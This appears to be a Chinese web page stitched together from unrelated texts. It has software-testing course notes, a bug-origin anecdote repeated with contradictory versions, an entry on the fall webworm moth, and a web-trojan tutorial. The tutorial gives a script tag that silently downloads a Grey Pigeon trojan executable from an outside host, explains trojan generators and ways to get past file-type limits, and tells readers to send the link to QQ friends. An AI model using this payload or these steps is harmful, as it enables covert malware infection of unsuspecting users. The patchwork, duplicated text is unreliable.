   * 自底向上-自顶向下的增殖测试
   – 首先对含读操作的子系统自底向上直至根结点模块进行组装和测试;
   – 然后对含写操作的子系统做自顶向下的组装与测试。
   * 回归测试
   – 这种方式采取自顶向下的方式测试被修改的模块及其子模块;
   – 然后将这一部分视为子系统，再自底向上测试。
   关键模块问题
   * 在组装测试时，应当确定关键模块，对这些关键模块及早进行测试。
   * 关键模块的特征：
   ① 满足某些软件需求；
   ② 在程序的模块结构中位于较高的层次（高层控制模块）；
   ③ 较复杂、较易发生错误；
   ④ 有明确定义的性能要求。
   
   确认测试（Validation Testing）
   * 确认测试又称有效性测试。任务是验证软件的功能和性能及其它特性是否与用户的要求一致。
   * 对软件的功能和性能要求在软件需求规格说明书中已经明确规定。它包含的信息就是软件确认测试的基础。
   
   1. 进行有效性测试（黑盒测试）
   * 有效性测试是在模拟的环境 (可能就是开发的环境) 下，运用黑盒测试的方法，验证被测软件是否满足需求规格说明书列出的需求。
   * 首先制定测试计划，规定要做测试的种类。还需要制定一组测试步骤，描述具体的测试用例。
   
   * 通过实施预定的测试计划和测试步骤，确定
   – 软件的特性是否与需求相符；
   – 所有的文档都是正确且便于使用；
   – 同时，对其它软件需求，例如可移植性、兼容性、出错自动恢复、可维护性等，也都要进行测试
   
   * 在全部软件测试的测试用例运行完后，所有的测试结果可以分为两类：
   – 测试结果与预期的结果相符。这说明软件的这部分功能或性能特征与需求规格说明书相符合，从而这部分程序被接受。
   – 测试结果与预期的结果不符。这说明软件的这部分功能或性能特征与需求规格说明不一致，因此要为它提交一份问题报告。
   
   2. 软件配置复查
   n 软件配置复查的目的是保证
   u 软件配置的所有成分都齐全；
   u 各方面的质量都符合要求；
   u 具有维护阶段所必需的细节；
   u 而且已经编排好分类的目录。
   n 应当严格遵守用户手册和操作手册中规定的使用步骤，以便检查这些文档资料的完整性和正确性。
   验收测试（Acceptance Testing）
   * 在通过了系统的有效性测试及软件配置审查之后，就应开始系统的验收测试。
   * 验收测试是以用户为主的测试。软件开发人员和QA（质量保证）人员也应参加。
   * 由用户参加设计测试用例，使用生产中的实际数据进行测试。
   
   * 在测试过程中，除了考虑软件的功能和性能外，还应对软件的可移植性、兼容性、可维护性、错误的恢复功能等进行确认。
   * 确认测试应交付的文档有：
   – 确认测试分析报告
   – 最终的用户手册和操作手册
   – 项目开发总结报告。
   
   系统测试（System Testing）
   * 系统测试，是将通过确认测试的软件，作为整个基于计算机系统的一个元素，与计算机硬件、外设、某些支持软件、数据和人员等其它系统元素结合在一起，在实际运行环境下，对计算机系统进行一系列的组装测试和确认测试。
   * 系统测试的目的在于通过与系统的需求定义作比较, 发现软件与系统的定义不符合或与之矛盾的地方。
   其实软件测试不仅仅是用工具去检查别人的程序，他主要告诉就是保证所开发的软件错误降低到最小。
   其实做软测的也要编代码，他们编的是软件的源程序，我们编的是测试用例，里面的内容很多，做软测也需要有一定的编程基础
   
   软件测试是指使用人工或者自动的手段来运行或测定某个软件产品系统的过程，其目的是在于检验是否满足规定的需求或者弄清预期的结果与实际结果的区别。
   
   一句话发现BUG
   所谓“（Bug）”，是指电脑系统的硬件、系统软件（如操作系统）或应用软件（如文字处理软件）出错。硬件的出错有两个原因，一是设计错误，一是硬件部件 老化失效等。软件的错误全是厂家设计错误。那种说用户执行了非法操作的提示，是软件厂商不负责的胡说八道。用户可能会执行不正确的操作，比如本来是做加法 但按了减法键。这样用户会得到一个不正确的结果，但不会引起bug发作。软件厂商在设计产品时的一个基本要求，就是不允许用户做非法的操作。只要允许用户 做的，都是合法的。用户根本就没有办法知道厂家心里是怎么想的，哪些操作序列是非法的。
   从电脑诞生之日起，就有了电脑BUG。第一个有记载的bug是美国海军的编程员，编译器的发明者格蕾斯·哈珀（Grace Hopper）发现的。哈珀后来成了美国海军的一个将军，领导了着名计算机语言Cobol的开发。
   1945年9月9日，下午三点。哈珀中尉正领着她的小组构造一个称为“马克二型”的计算机。这还不是一个完全的电子计算机，它使用了大量的继电 器，一种电子机械装置。第二次世界大战还没有结束。哈珀的小组日以继夜地工作。机房是一间第一次世界大战时建造的老建筑。那是一个炎热的夏天，房间没有空 调，所有窗户都敞开散热。
   突然，马克二型死机了。技术人员试了很多办法，最后定位到第70号继电器出错。哈珀观察这个出错的继电器，发现一只飞蛾躺在中间，已经被继电器打死。她小心地用摄子将蛾子夹出来，用透明胶布帖到“事件记录本”中，并注明“第一个发现虫子的实例。”[1]
   从此以后，人们将计算机错误戏称为虫子（bug），而把找寻错误的工作称为（debug）
   
   “BUG”的由来：
   Bug一词的原意是“臭虫”或“虫子”。但是现在，在电脑系统或程序中，如果隐藏着的一些未被发现的缺陷或问题，人们也叫它“Bug”，这是怎么回事呢？
   原来，第一代的计算机是由许多庞大且昂贵的真空管组成，并利用大量的电力来使真空管发光。可能正是由于计算机运行产生的光和热，引得一只小虫子 Bug 钻进了一支真空管内，导致整个计算机无法工作。研究人员费了半天时间，总算发现原因所在，把这只小虫子从真空管中取出后，计算机又恢复正常。后 来，Bug这个名词就沿用下来，表示电脑系统或程序中隐藏的错误、缺陷或问题。
   与Bug相对应，人们将发现Bug并加以纠正的过程叫做“Debug”，意即“捉虫子”或“杀虫子”。遗憾的是，在中文里面，至今仍没有与 “Bug”准确对应的词汇，于是只能直接引用“Bug”一词。虽然也有人使用“臭虫”一词替代“Bug”，但容易产生歧义，所以推广不开。
   所谓“（Bug）”，是指电脑系统的硬件、系统软件（如操作系统）或应用软件（如文字处理软件）出错。硬件的出错有两个原因，一是设计错误， 一是硬件部件老化失效等。软件的错误全是厂家设计错误。那种说用户执行了非法操作的提示，是软件厂商不负责的胡说八道。用户可能会执行不正确的操作，比如 本来是做加法但按了减法键。这样用户会得到一个不正确的结果，但不会引起bug发作。软件厂商在设计产品时的一个基本要求，就是不允许用户做非法的操作。 只要允许用户做的，都是合法的。用户根本就没有办法知道厂家心里是怎么想的，哪些操作序列是非法的。
   从电脑诞生之日起，就有了电脑BUG。第一个有记载的bug是美国海军的编程员，编译器的发明者格蕾斯·哈珀（GraceHopper）发现的。哈珀后来成了美国海军的一个将军，领导了着名计算机语言Cobol的开发。
   1945年9月9日，下午三点。哈珀中尉正领着她的小组构造一个称为“马克二型”的计算机。这还不是一个完全的电子计算机，它使用了大量的继电 器，一种电子机械装置。第二次世界大战还没有结束。哈珀的小组日以继夜地工作。机房是一间第一次世界大战时建造的老建筑。那是一个炎热的夏天，房间没有空 调，所有窗户都敞开散热。
   突然，马克二型死机了。技术人员试了很多办法，最后定位到第70号继电器出错。哈珀观察这个出错的继电器，发现一只飞蛾躺在中间，已经被继电器打死。她小心地用摄子将蛾子夹出来，用透明胶布帖到“事件记录本”中，并注明“第一个发现虫子的实例。”[1]
   从此以后，人们将计算机错误戏称为虫子（bug），而把找寻错误的工作称为（debug）。
   程序中隐藏的功能缺陷或错误。由于现在的软件复杂程度早已超出了一般人能控制的范围，如Win95、Win98这样的较成熟的操作系统也会不定期地公布其中的Bug。如何减少以至消灭程序中的Bug，一直是程序员所极为重视的课题
   
   1983年，IEEE提出了软件工程标准术语，软件测试定义为：
   “使用人工和自动手段来运行或测试某个系统的过程，其目的在于检验它是否满足规定的需求或是弄清预期结果与实际结果之间的差别。”
   简单的说，软件测试就是对软件中的缺陷进行检测和预防。

   ㈨ 恶意代码的基本原理

   首先明确，恶意代码实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了有恶意代码的网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。
   
   有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。
   
   ⒈自动下载程序
   
   <SCRIPT LANGUAGE="icyfoxlovelace" src="http://go163go.vicp.net/1.exe"></SCRIPT>
   
   小提示：代码说明
   
   a. 代码中“src”的属性为程序的网络地址，本例中“http://go163go.vicp.net/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。
   
   b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。
   
   把这段代码插入到网页源代码的</BODY>…</BODY>之间（如图1），然后用没打补丁的IE6打开，接下来，打开IE的临时目录<Temporary Internet Files>，你会发现，在该文件夹中有一个“1.exe”文件，这也就是说，该网页已自动下载了我放置在Web服务器上的灰鸽子木马。
   
   二、网页木马的基本用法
   
   理解了网页木马攻击的原理，我们可以制作自己的网页木马，但这需要你根据IE漏洞写出利用代码。实际上，在网上有很多高手已写出了一些漏洞的利用代码，有的还把它写成了可视化的程序。在搜索引擎输入“网页木马生成器”进行搜索，你会发现，在网上有很多利用IE的各种漏洞编写的网页木马生成器，它们大都为可视化的程序，只要你有一个木马（该木马必须把它放置到网络上），利用这些生成器你就可以立即生成一个网页，该网页就是网页木马，只要他人打开这个网页，该网页就可以自动完成下载木马并运行（安装）木马的过程。
   
   在我的电脑上我已下载了一个网页木马生成器，下面我们来看怎么生成网页木马并让他人中木马。
   
   第一步：启动该网页木马生成器，如图4所示，在文本框中输入木马的网络地址，最后单击“生成”。
   
   图4 网页木马生成器
   
   第二步：在网页木马生成器的安装文件夹会生成一个网页文件，该文件就是我们在上一步生成的网页木马。上传该文件到自己的Web服务器或免费主面空间。
   
   现在好了，把上述网页在服务器上的地址（网址）通过QQ发给自己的好友，一旦他访问了该网页，该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。
   
   现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧！实际上，即使人人都不打开陌生人发来的网址，也仍然有一些人“飞蛾补灯，自寻死路”，因为若大的Internet，总会有一些人会有意或无意地访问这些网址，而且，有些网页木马，还挂在一些知名网站上（根据知名网站的访问量，你算算吧，每天有多少人中了木马！）。
   
   小提示：你可能还没想到，看电影，在论坛查看或回复帖子也能中木马。实际上，网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上，这样，用户一旦观看电影、查看或预览邮件（主要是一些用电子邮件群发器发送的垃圾邮件）、参与帖子，打开电子书，用户就会中网页木马。

   ㈩ 美国飞蛾介绍

   美国飞蛾又名美国灯蛾、秋幕毛虫、秋幕蛾，属鳞翅目灯蛾科，雌、雄体长分别为12～15mm和9～12mm，翅展分别为33～44mm和23～34mm。

   体躯纯白色，无其他色斑，复眼黑褐色；雌虫触角锯齿形，褐色；雄虫双栉齿形，黑色。前足的基部、腿节桔黄色；胫节、跗节内侧白色，外侧大部黑色。

   中、后足的腿节黄白色，胫节、跗节上有黑斑。雄性外生殖器抱器瓣半月牙形，中部有一突起，突起的端部较尖，阳茎基环梯形，阳茎端膜具微刺。

   

   (10)飞蛾源码商业版扩展阅读：

   生活习性

   美国飞蛾成虫有趋光性和趋味性，对腥臭味敏感度较强，因此，在树木稀疏、光照条件好的地方或是臭水坑、厕所等散发恶臭味的地方发生严重。

   成虫交尾时间一般为凌晨3 ～ 4时，在交尾结束后当晚或次日产卵于叶背，卵单层排列成块状，一块卵有数百粒，多者可达千粒，产卵时间较长。

   幼虫孵出几个小时后即吐丝结网，第一、二代幼虫主要在树冠中下部危害结成白色网幕，第三代幼虫在树冠中上部危害结成白色网幕，低龄幼虫在网幕内取食叶肉，受害叶片仅留叶脉呈白膜状而枯黄。